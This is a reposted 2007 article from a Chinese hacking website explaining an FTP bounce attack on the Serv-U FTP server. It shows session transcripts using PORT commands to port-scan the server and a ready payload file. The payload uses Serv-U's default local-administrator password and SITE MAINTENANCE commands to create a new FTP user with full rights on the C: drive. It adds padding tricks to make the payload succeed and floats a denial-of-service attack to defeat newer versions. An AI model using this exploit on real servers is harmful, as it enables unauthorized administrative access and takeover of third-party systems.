首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
黑客探究lake2猜想Serv-U的反弹攻击及其利用
作者:佚名  来源:转载  发布时间:2007-8-20 9:57:48  发布人:黑客动画吧

减小字体 增大字体

FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。

所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024。

现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。

以下是对有限制的Serv-U进行反弹攻击:

 

220-欢迎光临lake2的blog

user lake2

331 User name okay, need password.

pass xxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

530 Only client IP address allowed for PORT command.

 

失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。

但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce):

 

220-欢迎使用本虚拟主机.

user 0x54.org

331 User name okay, need password.

pass xxxxxxxxxxxx

230 User logged in, proceed.

port 127,0,0,1,171,182

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

226-Maximum disk quota limited to 204800 kBytes

Used disk quota 81766 kBytes, available 123033 kBytes

226 Transfer complete.

port 127,0,0,1,171,183

200 PORT Command successful.

list

150 Opening ASCII mode data connection for /bin/ls.

426-Maximum disk quota limited to 204800 kBytes

Used disk quota 81766 kBytes, available 123033 kBytes

426 Data connection closed, transfer aborted.

 

命令“port 127,0,0,1,171,182”就是把数据发送到FTP服务器的43958(171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。

利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。

以下内容保存为test.txt并传到FTP根目录:

 

user LocalAdministrator

Pass #l@$ak#.lk;0@P

SITE MAINTENANCE

-SETUSERSETUP

-IP=0.0.0.0

-PortNo=21

-User=lake

-Password=admin123

-HomeDir=c:\

-LoginMesFile=

-Disable=0

-RelPaths=1

-NeedSecure=0

-HideHidden=0

-AlwaysAllowLogin=0

-ChangePassword=0

-QuotaEnable=0

-MaxUsersLoginPerIP=-1

-SpeedLimitUp=0

-SpeedLimitDown=0

-MaxNrUsers=-1

-IdleTimeOut=600

-SessionTimeOut=-1

-Expire=0

-RatioUp=1

-RatioDown=1

-RatiosCredit=0

-QuotaCurrent=0

-QuotaMaximum=0

-Maintenance=None

-PasswordType=Regular

-Ratios=None

Access=c:\|RWAMELCDP


然后retr test.txt,添加用户的数据就发过去了。

每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到1M多的时候,哈哈,成功了!

以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个1M的大文件呢。

这个地方一直没想到好的解决办法,似乎有两点思路供参考:

1、 上传/下载大文件,降低其处理速度

2、 对FTP服务器进行拒绝服务攻击,消耗资源降低处理速度

[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .